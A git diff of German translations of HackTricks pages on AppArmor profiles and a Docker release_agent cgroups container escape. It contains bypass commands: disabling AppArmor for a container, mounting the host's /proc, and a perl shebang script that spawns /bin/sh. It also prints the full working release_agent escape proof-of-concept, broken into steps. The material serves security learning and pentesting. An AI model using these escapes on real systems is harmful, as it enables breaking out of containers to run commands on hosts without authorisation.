* **Kernelmodul**: Verantwortlich für die Durchsetzung von Richtlinien.
|
||||
* **Richtlinien**: Spezifizieren die Regeln und Einschränkungen für das Programmverhalten und den Ressourcenzugriff.
|
||||
* **Kernelmodul**: Verantwortlich für die Durchsetzung der Richtlinien.
|
||||
* **Richtlinien**: Legen die Regeln und Einschränkungen für das Verhalten von Programmen und den Zugriff auf Ressourcen fest.
|
||||
* **Parser**: Lädt Richtlinien in den Kernel zur Durchsetzung oder Berichterstattung.
|
||||
* **Dienstprogramme**: Dies sind Benutzermodusprogramme, die eine Schnittstelle für die Interaktion mit und das Management von AppArmor bereitstellen.
|
||||
* **Hilfsprogramme**: Dies sind Programme im Benutzermodus, die eine Schnittstelle zur Interaktion mit und Verwaltung von AppArmor bereitstellen.
|
||||
|
||||
### Profilpfad
|
||||
### Profile-Pfad
|
||||
|
||||
AppArmor-Profile werden normalerweise in _**/etc/apparmor.d/**_ gespeichert.\
|
||||
Mit `sudo aa-status` können Sie die Binärdateien auflisten, die durch ein bestimmtes Profil eingeschränkt sind. Wenn Sie den Schrägstrich "/" für einen Punkt des Pfads jeder aufgelisteten Binärdatei ändern, erhalten Sie den Namen des AppArmor-Profils im genannten Ordner.
|
||||
Mit `sudo aa-status` können Sie die Binärdateien auflisten, die durch ein bestimmtes Profil eingeschränkt sind. Wenn Sie das Zeichen "/" im Pfad jeder aufgelisteten Binärdatei durch einen Punkt ersetzen, erhalten Sie den Namen des AppArmor-Profils im genannten Ordner.
|
||||
|
||||
Zum Beispiel wird ein **AppArmor**-Profil für _/usr/bin/man_ im Ordner _/etc/apparmor.d/usr.bin.man_ gespeichert.
|
||||
Zum Beispiel wird ein **AppArmor**-Profil für _/usr/bin/man_ in _/etc/apparmor.d/usr.bin.man_ gespeichert.
|
||||
|
||||
### Befehle
|
||||
```bash
|
||||
|
@ -64,35 +50,35 @@ aa-mergeprof #used to merge the policies
|
|||
```
|
||||
## Erstellen eines Profils
|
||||
|
||||
* Um das betroffene ausführbare Programm anzugeben, sind **absolute Pfade und Platzhalter** (für Datei-Globbing) zur Spezifizierung von Dateien erlaubt.
|
||||
* Um den Zugriff anzugeben, den die Binärdatei über **Dateien** haben wird, können die folgenden **Zugriffskontrollen** verwendet werden:
|
||||
* Um die betroffene ausführbare Datei anzugeben, sind **absolute Pfade und Platzhalter** (für die Dateiglobierung) zur Angabe von Dateien erlaubt.
|
||||
* Um den Zugriff anzugeben, den die Binärdatei über **Dateien** haben wird, können die folgenden **Zugriffssteuerungen** verwendet werden:
|
||||
* **r** (lesen)
|
||||
* **w** (schreiben)
|
||||
* **m** (als ausführbar in den Speicher abbilden)
|
||||
* **k** (Dateisperre)
|
||||
* **l** (Erstellen von harten Links)
|
||||
* **ix** (um ein anderes Programm mit dem neuen Programm unter Vererbung der Richtlinie auszuführen)
|
||||
* **m** (Speicherkarten als ausführbar)
|
||||
* **k** (Dateisperrung)
|
||||
* **l** (Erstellung harter Links)
|
||||
* **ix** (um ein anderes Programm auszuführen, wobei das neue Programm die Richtlinie erbt)
|
||||
* **Px** (unter einem anderen Profil ausführen, nach Bereinigung der Umgebung)
|
||||
* **Cx** (unter einem untergeordneten Profil ausführen, nach Bereinigung der Umgebung)
|
||||
* **Cx** (unter einem Kindprofil ausführen, nach Bereinigung der Umgebung)
|
||||
* **Ux** (unbeschränkt ausführen, nach Bereinigung der Umgebung)
|
||||
* **Variablen** können in den Profilen definiert und von außerhalb des Profils manipuliert werden. Zum Beispiel: @{PROC} und @{HOME} (fügen Sie #include \<tunables/global> zur Profildatei hinzu)
|
||||
* **Deny-Regeln werden unterstützt, um Allow-Regeln außer Kraft zu setzen**.
|
||||
* **Variablen** können in den Profilen definiert und von außerhalb des Profils manipuliert werden. Zum Beispiel: @{PROC} und @{HOME} (füge #include \<tunables/global> zur Profildatei hinzu)
|
||||
* **Ablehnungsregeln werden unterstützt, um Erlaubensregeln zu überschreiben**.
|
||||
|
||||
### aa-genprof
|
||||
|
||||
Um das Erstellen eines Profils zu erleichtern, kann Ihnen AppArmor helfen. Es ist möglich, **AppArmor die Aktionen überwachen zu lassen, die von einer Binärdatei ausgeführt werden, und dann zu entscheiden, welche Aktionen Sie zulassen oder ablehnen möchten**.\
|
||||
Um das Erstellen eines Profils zu erleichtern, kann apparmor Ihnen helfen. Es ist möglich, **apparmor die von einer Binärdatei durchgeführten Aktionen zu inspizieren und Ihnen dann zu ermöglichen, zu entscheiden, welche Aktionen Sie erlauben oder ablehnen möchten**.\
|
||||
Sie müssen nur Folgendes ausführen:
|
||||
```bash
|
||||
sudo aa-genprof /path/to/binary
|
||||
```
|
||||
Dann führen Sie in einer anderen Konsole alle Aktionen aus, die das Binärprogramm normalerweise ausführen würde:
|
||||
Dann führen Sie in einer anderen Konsole alle Aktionen aus, die die Binärdatei normalerweise ausführen wird:
|
||||
```bash
|
||||
/path/to/binary -a dosomething
|
||||
```
|
||||
Dann drücken Sie in der ersten Konsole "**s**" und geben Sie dann in den aufgezeichneten Aktionen an, ob Sie ignorieren, erlauben oder was auch immer möchten. Wenn Sie fertig sind, drücken Sie "**f**" und das neue Profil wird in _/etc/apparmor.d/path.to.binary_ erstellt.
|
||||
Dann drücken Sie in der ersten Konsole "**s**" und geben Sie dann in den aufgezeichneten Aktionen an, ob Sie ignorieren, erlauben oder etwas anderes möchten. Wenn Sie fertig sind, drücken Sie "**f**" und das neue Profil wird in _/etc/apparmor.d/path.to.binary_ erstellt.
|
||||
|
||||
{% hint style="info" %}
|
||||
Mit den Pfeiltasten können Sie auswählen, was Sie erlauben/ablehnen/möchten
|
||||
Mit den Pfeiltasten können Sie auswählen, was Sie erlauben/ablehnen/whatever möchten.
|
||||
{% endhint %}
|
||||
|
||||
### aa-easyprof
|
||||
|
@ -123,24 +109,24 @@ sudo aa-easyprof /path/to/binary
|
|||
}
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Beachten Sie, dass standardmäßig in einem erstellten Profil nichts erlaubt ist, daher wird alles verweigert. Sie müssen Zeilen wie `/etc/passwd r,` hinzufügen, um beispielsweise das Lesen der Binärdatei `/etc/passwd` zu ermöglichen.
|
||||
Beachten Sie, dass standardmäßig in einem erstellten Profil nichts erlaubt ist, sodass alles verweigert wird. Sie müssen Zeilen wie `/etc/passwd r,` hinzufügen, um beispielsweise das Lesen der Binärdatei `/etc/passwd` zu erlauben.
|
||||
{% endhint %}
|
||||
|
||||
Sie können dann das neue Profil **erzwingen** mit
|
||||
Sie können dann das neue Profil **durchsetzen** mit
|
||||
```bash
|
||||
sudo apparmor_parser -a /etc/apparmor.d/path.to.binary
|
||||
```
|
||||
### Bearbeiten eines Profils aus Protokollen
|
||||
### Modifizieren eines Profils aus Protokollen
|
||||
|
||||
Das folgende Tool liest die Protokolle und fragt den Benutzer, ob er einige der erkannten verbotenen Aktionen erlauben möchte:
|
||||
```bash
|
||||
sudo aa-logprof
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Mit den Pfeiltasten können Sie auswählen, was Sie erlauben/ablehnen/whatever möchten.
|
||||
Mit den Pfeiltasten können Sie auswählen, was Sie erlauben/ablehnen/was auch immer möchten
|
||||
{% endhint %}
|
||||
|
||||
### Profil verwalten
|
||||
### Verwaltung eines Profils
|
||||
```bash
|
||||
#Main profile management commands
|
||||
apparmor_parser -a /etc/apparmor.d/profile.name #Load a new profile in enforce mode
|
||||
|
@ -148,9 +134,9 @@ apparmor_parser -C /etc/apparmor.d/profile.name #Load a new profile in complain
|
|||
apparmor_parser -r /etc/apparmor.d/profile.name #Replace existing profile
|
||||
apparmor_parser -R /etc/apparmor.d/profile.name #Remove profile
|
||||
```
|
||||
## Protokolle
|
||||
## Logs
|
||||
|
||||
Beispiel für **AUDIT**- und **DENIED**-Protokolle aus _/var/log/audit/audit.log_ der ausführbaren Datei **`service_bin`**:
|
||||
Beispiel für **AUDIT**- und **DENIED**-Protokolle aus _/var/log/audit/audit.log_ der ausführbaren **`service_bin`**:
|
||||
```bash
|
||||
type=AVC msg=audit(1610061880.392:286): apparmor="AUDIT" operation="getattr" profile="/bin/rcat" name="/dev/pts/1" pid=954 comm="service_bin" requested_mask="r" fsuid=1000 ouid=1000
|
||||
type=AVC msg=audit(1610061880.392:287): apparmor="DENIED" operation="open" profile="/bin/rcat" name="/etc/hosts" pid=954 comm="service_bin" requested_mask="r" denied_mask="r" fsuid=1000 ouid=0
|
||||
|
@ -191,49 +177,49 @@ apparmor module is loaded.
|
|||
/usr/lib/connman/scripts/dhclient-script
|
||||
docker-default
|
||||
```
|
||||
Standardmäßig wird das **Apparmor Docker-Standardprofil** von [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) generiert.
|
||||
By default **Apparmor docker-default profile** wird generiert von [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
|
||||
|
||||
**Zusammenfassung des Docker-Standardprofils**:
|
||||
**docker-default profile Zusammenfassung**:
|
||||
|
||||
- **Zugriff** auf alle **Netzwerke**
|
||||
- Es sind **keine Fähigkeiten** definiert (Einige Fähigkeiten werden jedoch durch das Einbeziehen grundlegender Basissätze wie #include \<abstractions/base> bereitgestellt)
|
||||
- **Schreiben** in jede **/proc**-Datei ist **nicht erlaubt**
|
||||
- Andere **Unterverzeichnisse**/**Dateien** von /**proc** und /**sys** haben **keinen** Lese-/Schreib-/Sperr-/Verknüpfungs-/Ausführungszugriff
|
||||
- **Mounten** ist **nicht erlaubt**
|
||||
- **Ptrace** kann nur auf einen Prozess ausgeführt werden, der durch dasselbe **Apparmor-Profil** eingeschränkt ist
|
||||
* **Zugriff** auf alle **Netzwerke**
|
||||
* **Keine Fähigkeit** ist definiert (Allerdings werden einige Fähigkeiten durch das Einfügen grundlegender Basisregeln kommen, d.h. #include \<abstractions/base>)
|
||||
* **Schreiben** in eine **/proc**-Datei ist **nicht erlaubt**
|
||||
* Andere **Unterverzeichnisse**/**Dateien** von /**proc** und /**sys** haben **verweigerten** Lese-/Schreib-/Sperr-/Link-/Ausführungszugriff
|
||||
* **Mount** ist **nicht erlaubt**
|
||||
* **Ptrace** kann nur auf einem Prozess ausgeführt werden, der durch **das gleiche apparmor-Profil** eingeschränkt ist
|
||||
|
||||
Nachdem Sie einen **Docker-Container gestartet** haben, sollten Sie die folgende Ausgabe sehen:
|
||||
Sobald Sie **einen Docker-Container ausführen**, sollten Sie die folgende Ausgabe sehen:
|
||||
```bash
|
||||
1 processes are in enforce mode.
|
||||
docker-default (825)
|
||||
```
|
||||
Beachten Sie, dass **AppArmor standardmäßig sogar die Berechtigungen für Fähigkeiten blockiert**, die dem Container gewährt wurden. Zum Beispiel wird es in der Lage sein, **die Erlaubnis zum Schreiben innerhalb von /proc zu blockieren, selbst wenn die SYS\_ADMIN-Fähigkeit gewährt wurde**, da das Docker-AppArmor-Profil standardmäßig diesen Zugriff verweigert:
|
||||
Beachten Sie, dass **apparmor sogar die Berechtigungen für Fähigkeiten** blockiert, die standardmäßig dem Container gewährt werden. Zum Beispiel wird es in der Lage sein, **die Berechtigung zum Schreiben in /proc zu blockieren, selbst wenn die SYS\_ADMIN-Fähigkeit gewährt wird**, da das standardmäßige docker apparmor-Profil diesen Zugriff verweigert:
|
||||
```bash
|
||||
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu /bin/bash
|
||||
echo "" > /proc/stat
|
||||
sh: 1: cannot create /proc/stat: Permission denied
|
||||
```
|
||||
Du musst **AppArmor deaktivieren**, um seine Beschränkungen zu umgehen:
|
||||
Sie müssen **apparmor deaktivieren**, um seine Einschränkungen zu umgehen:
|
||||
```bash
|
||||
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu /bin/bash
|
||||
```
|
||||
Beachten Sie, dass standardmäßig **AppArmor** auch **das Mounten von Ordnern im Container verbietet**, selbst mit der SYS\_ADMIN-Berechtigung.
|
||||
Beachten Sie, dass **AppArmor** standardmäßig auch **verhindert, dass der Container** Ordner von innen mountet, selbst mit der SYS\_ADMIN-Fähigkeit.
|
||||
|
||||
Beachten Sie, dass Sie **Berechtigungen hinzufügen/entfernen** können, um dem Docker-Container Berechtigungen hinzuzufügen (dies wird immer noch durch Schutzmethoden wie **AppArmor** und **Seccomp** eingeschränkt):
|
||||
Beachten Sie, dass Sie **Fähigkeiten** zum Docker-Container **hinzufügen/entfernen** können (dies wird weiterhin durch Schutzmethoden wie **AppArmor** und **Seccomp** eingeschränkt):
|
||||
|
||||
* `--cap-add=SYS_ADMIN` gibt die `SYS_ADMIN`-Berechtigung
|
||||
* `--cap-add=ALL` gibt alle Berechtigungen
|
||||
* `--cap-drop=ALL --cap-add=SYS_PTRACE` verwirft alle Berechtigungen und gibt nur `SYS_PTRACE`
|
||||
* `--cap-add=SYS_ADMIN` gibt die `SYS_ADMIN`-Fähigkeit
|
||||
* `--cap-add=ALL` gibt alle Fähigkeiten
|
||||
* `--cap-drop=ALL --cap-add=SYS_PTRACE` entfernt alle Fähigkeiten und gibt nur `SYS_PTRACE`
|
||||
|
||||
{% hint style="info" %}
|
||||
Normalerweise, wenn Sie feststellen, dass Sie eine **privilegierte Berechtigung** im **Inneren** eines **Docker**-Containers haben, aber ein Teil des **Exploits nicht funktioniert**, liegt das daran, dass Docker **AppArmor es verhindert**.
|
||||
In der Regel, wenn Sie **feststellen**, dass Sie eine **privilegierte Fähigkeit** **innerhalb** eines **Docker**-Containers zur Verfügung haben, **aber** ein Teil des **Exploits nicht funktioniert**, liegt das daran, dass Docker **AppArmor es verhindern wird**.
|
||||
{% endhint %}
|
||||
|
||||
### Beispiel
|
||||
|
||||
(Beispiel von [**hier**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/))
|
||||
|
||||
Um die Funktionalität von AppArmor zu veranschaulichen, habe ich ein neues Docker-Profil "mydocker" erstellt, mit der folgenden Zeile hinzugefügt:
|
||||
Um die Funktionalität von AppArmor zu veranschaulichen, habe ich ein neues Docker-Profil „mydocker“ mit der folgenden Zeile hinzugefügt:
|
||||
```
|
||||
deny /etc/* w, # deny write for all files directly in /etc (not in a subdir)
|
||||
```
|
||||
|
@ -241,17 +227,17 @@ Um das Profil zu aktivieren, müssen wir Folgendes tun:
|
|||
```
|
||||
sudo apparmor_parser -r -W mydocker
|
||||
```
|
||||
Um die Profile aufzulisten, können wir den folgenden Befehl ausführen. Der unten stehende Befehl listet mein neues AppArmor-Profil auf.
|
||||
Um die Profile aufzulisten, können wir den folgenden Befehl ausführen. Der untenstehende Befehl listet mein neues AppArmor-Profil auf.
|
||||
```
|
||||
$ sudo apparmor_status | grep mydocker
|
||||
mydocker
|
||||
```
|
||||
Wie unten gezeigt, erhalten wir einen Fehler, wenn wir versuchen, "/etc/" zu ändern, da das AppArmor-Profil den Schreibzugriff auf "/etc" verhindert.
|
||||
Wie unten gezeigt, erhalten wir einen Fehler, wenn wir versuchen, “/etc/” zu ändern, da das AppArmor-Profil den Schreibzugriff auf “/etc” verhindert.
|
||||
```
|
||||
$ docker run --rm -it --security-opt apparmor:mydocker -v ~/haproxy:/localhost busybox chmod 400 /etc/hostname
|
||||
chmod: /etc/hostname: Permission denied
|
||||
```
|
||||
### AppArmor Docker Umgehung1
|
||||
### AppArmor Docker Bypass1
|
||||
|
||||
Sie können herausfinden, welches **AppArmor-Profil einen Container ausführt**, indem Sie Folgendes verwenden:
|
||||
```bash
|
||||
|
@ -259,17 +245,19 @@ docker inspect 9d622d73a614 | grep lowpriv
|
|||
"AppArmorProfile": "lowpriv",
|
||||
"apparmor=lowpriv"
|
||||
```
|
||||
Dann können Sie die folgende Zeile ausführen, um **das genaue verwendete Profil zu finden**:
|
||||
Dann können Sie die folgende Zeile ausführen, um **das genaue Profil zu finden, das verwendet wird**:
|
||||
```bash
|
||||
find /etc/apparmor.d/ -name "*lowpriv*" -maxdepth 1 2>/dev/null
|
||||
```
|
||||
### AppArmor Docker Umgehung2
|
||||
In dem seltsamen Fall, dass Sie **das AppArmor-Docker-Profil ändern und neu laden können.** Könnten Sie die Einschränkungen entfernen und sie "umgehen".
|
||||
|
||||
**AppArmor basiert auf Pfaden**, das bedeutet, selbst wenn es Dateien innerhalb eines Verzeichnisses wie **`/proc`** schützt, könnten Sie, wenn Sie **konfigurieren können, wie der Container ausgeführt wird**, das proc-Verzeichnis des Hosts innerhalb von **`/host/proc`** einhängen und es **wird nicht mehr von AppArmor geschützt**.
|
||||
### AppArmor Docker Bypass2
|
||||
|
||||
### AppArmor Shebang Umgehung
|
||||
**AppArmor ist pfadbasiert**, das bedeutet, dass selbst wenn es möglicherweise **Dateien** in einem Verzeichnis wie **`/proc`** **schützt**, wenn Sie **konfigurieren können, wie der Container ausgeführt wird**, könnten Sie das proc-Verzeichnis des Hosts innerhalb von **`/host/proc`** **einbinden** und es **wird nicht mehr von AppArmor geschützt**.
|
||||
|
||||
In [**diesem Fehler**](https://bugs.launchpad.net/apparmor/+bug/1911431) können Sie ein Beispiel sehen, wie **selbst wenn Sie verhindern, dass Perl mit bestimmten Ressourcen ausgeführt wird**, wenn Sie einfach ein Shell-Skript erstellen, das in der ersten Zeile **`#!/usr/bin/perl`** angibt und die Datei direkt ausführen, können Sie alles ausführen, was Sie wollen. Z. B.:
|
||||
### AppArmor Shebang Bypass
|
||||
|
||||
In [**diesem Bug**](https://bugs.launchpad.net/apparmor/+bug/1911431) sehen Sie ein Beispiel dafür, wie **selbst wenn Sie verhindern, dass Perl mit bestimmten Ressourcen ausgeführt wird**, wenn Sie einfach ein Shell-Skript **erstellen**, das in der ersten Zeile **`#!/usr/bin/perl`** **spezifiziert** und Sie **die Datei direkt ausführen**, werden Sie in der Lage sein, alles auszuführen, was Sie wollen. Z.B.:
|
||||
```perl
|
||||
echo '#!/usr/bin/perl
|
||||
use POSIX qw(strftime);
|
||||
|
@ -279,21 +267,9 @@ exec "/bin/sh"' > /tmp/test.pl
|
|||
chmod +x /tmp/test.pl
|
||||
/tmp/test.pl
|
||||
```
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine von **Dark Web** angetriebene Suchmaschine, die kostenlose Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder seine Kunden von **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die aus informationsstehlender Malware resultieren.
|
||||
|
||||
Sie können ihre Website besuchen und ihre Suchmaschine kostenlos ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen Sie & üben Sie AWS-Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen Sie & üben Sie GCP-Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -301,7 +277,7 @@ Lernen Sie & üben Sie GCP-Hacking: <img src="/.gitbook/assets/grte.png" alt=""
|
|||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositorys einreichen.
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# Docker release\_agent cgroups escape
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen Sie und üben Sie AWS-Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen Sie und üben Sie GCP-Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -10,26 +10,13 @@ Lernen Sie und üben Sie GCP-Hacking: <img src="/.gitbook/assets/grte.png" alt="
|
|||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github Repositories einreichen.
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine von **Dark Web** angetriebene Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder seine Kunden von **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe aufgrund von informationsstehlender Malware zu bekämpfen.
|
||||
|
||||
Sie können ihre Website besuchen und ihren Dienst **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
**Für weitere Details lesen Sie den** [**originalen Blog-Beitrag**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** Dies ist nur eine Zusammenfassung:
|
||||
**Für weitere Details, siehe den** [**originalen Blogbeitrag**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** Dies ist nur eine Zusammenfassung:
|
||||
|
||||
Original PoC:
|
||||
```shell
|
||||
|
@ -39,63 +26,51 @@ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
|||
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
|
||||
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
|
||||
```
|
||||
Der Proof of Concept (PoC) demonstriert eine Methode, um cgroups auszunutzen, indem eine `release_agent`-Datei erstellt wird und deren Aufruf ausgelöst wird, um beliebige Befehle auf dem Container-Host auszuführen. Hier ist eine Aufschlüsselung der beteiligten Schritte:
|
||||
Der Proof of Concept (PoC) demonstriert eine Methode, um cgroups auszunutzen, indem eine `release_agent`-Datei erstellt und deren Aufruf ausgelöst wird, um beliebige Befehle auf dem Container-Host auszuführen. Hier ist eine Aufschlüsselung der beteiligten Schritte:
|
||||
|
||||
1. **Umgebung vorbereiten:**
|
||||
* Ein Verzeichnis `/tmp/cgrp` wird erstellt, um als Einhängepunkt für die cgroup zu dienen.
|
||||
* Der RDMA cgroup-Controller wird in dieses Verzeichnis eingehängt. Falls der RDMA-Controller fehlt, wird empfohlen, den `memory` cgroup-Controller als Alternative zu verwenden.
|
||||
* Ein Verzeichnis `/tmp/cgrp` wird erstellt, um als Mount-Punkt für die cgroup zu dienen.
|
||||
* Der RDMA cgroup-Controller wird in dieses Verzeichnis gemountet. Im Falle des Fehlens des RDMA-Controllers wird empfohlen, den `memory` cgroup-Controller als Alternative zu verwenden.
|
||||
```shell
|
||||
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
|
||||
```
|
||||
2. **Richten Sie die untergeordnete Cgroup ein:**
|
||||
* Eine untergeordnete Cgroup mit dem Namen "x" wird innerhalb des eingehängten Cgroup-Verzeichnisses erstellt.
|
||||
* Benachrichtigungen für die "x" Cgroup werden aktiviert, indem eine 1 in ihre notify\_on\_release Datei geschrieben wird.
|
||||
2. **Richten Sie die Kind-Cgroup ein:**
|
||||
* Eine Kind-Cgroup mit dem Namen "x" wird im gemounteten Cgroup-Verzeichnis erstellt.
|
||||
* Benachrichtigungen sind für die "x" Cgroup aktiviert, indem 1 in die Datei notify\_on\_release geschrieben wird.
|
||||
```shell
|
||||
echo 1 > /tmp/cgrp/x/notify_on_release
|
||||
```
|
||||
3. **Konfigurieren des Release-Agenten:**
|
||||
3. **Release-Agent konfigurieren:**
|
||||
* Der Pfad des Containers auf dem Host wird aus der Datei /etc/mtab abgerufen.
|
||||
* Die release\_agent-Datei der cgroup wird dann so konfiguriert, dass ein Skript mit dem Namen /cmd ausgeführt wird, das sich im erhaltenen Host-Pfad befindet.
|
||||
* Die release\_agent-Datei der cgroup wird dann so konfiguriert, dass sie ein Skript mit dem Namen /cmd ausführt, das sich am ermittelten Host-Pfad befindet.
|
||||
```shell
|
||||
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
||||
echo "$host_path/cmd" > /tmp/cgrp/release_agent
|
||||
```
|
||||
4. **Erstellen und Konfigurieren des /cmd-Skripts:**
|
||||
* Das /cmd-Skript wird innerhalb des Containers erstellt und so konfiguriert, dass es ps aux ausführt und die Ausgabe in einer Datei namens /output im Container umleitet. Der vollständige Pfad von /output auf dem Host wird angegeben.
|
||||
* Das /cmd-Skript wird innerhalb des Containers erstellt und so konfiguriert, dass es ps aux ausführt und die Ausgabe in eine Datei namens /output im Container umleitet. Der vollständige Pfad von /output auf dem Host wird angegeben.
|
||||
```shell
|
||||
echo '#!/bin/sh' > /cmd
|
||||
echo "ps aux > $host_path/output" >> /cmd
|
||||
chmod a+x /cmd
|
||||
```
|
||||
5. **Starte den Angriff:**
|
||||
* Ein Prozess wird innerhalb des "x" Kind-Cgroups gestartet und sofort beendet.
|
||||
* Dies löst den `release_agent` (das /cmd Skript) aus, das ps aux auf dem Host ausführt und die Ausgabe in /output innerhalb des Containers schreibt.
|
||||
5. **Trigger den Angriff:**
|
||||
* Ein Prozess wird innerhalb der "x" Kind-Cgroup gestartet und sofort beendet.
|
||||
* Dies löst den `release_agent` (das /cmd-Skript) aus, der ps aux auf dem Host ausführt und die Ausgabe in /output innerhalb des Containers schreibt.
|
||||
```shell
|
||||
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
||||
```
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine von **Dark Web** angetriebene Suchmaschine, die kostenlose Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder seine Kunden von **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe aufgrund von informationsstehlender Malware zu bekämpfen.
|
||||
|
||||
Sie können ihre Website besuchen und ihre Suchmaschine kostenlos ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen Sie & üben Sie AWS-Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
